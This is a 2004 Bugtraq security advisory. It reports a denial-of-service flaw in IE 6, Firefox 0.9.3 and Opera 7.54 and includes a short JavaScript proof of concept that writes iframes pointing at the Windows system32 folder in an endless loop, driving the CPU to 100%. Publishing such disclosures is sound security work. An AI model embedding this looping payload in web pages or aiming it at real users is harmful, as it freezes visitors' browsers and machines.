bugtraq - IE, Firefox, Opera DoS

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Date: 21 Aug 2004 20:41:46 -0000
From: <exploits@...d.net>
To: bugtraq@...urityfocus.com
Subject: IE, Firefox, Opera DoS




Description
========
 
    Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
    Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or unsupported" over and over
 
POC
===
URL : http://www.su1d.net/iframe2.html

<scr1pt language="JavaScript">
while(true) 
{
   document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>
Discovered by MeFakon from the su1d exploit development team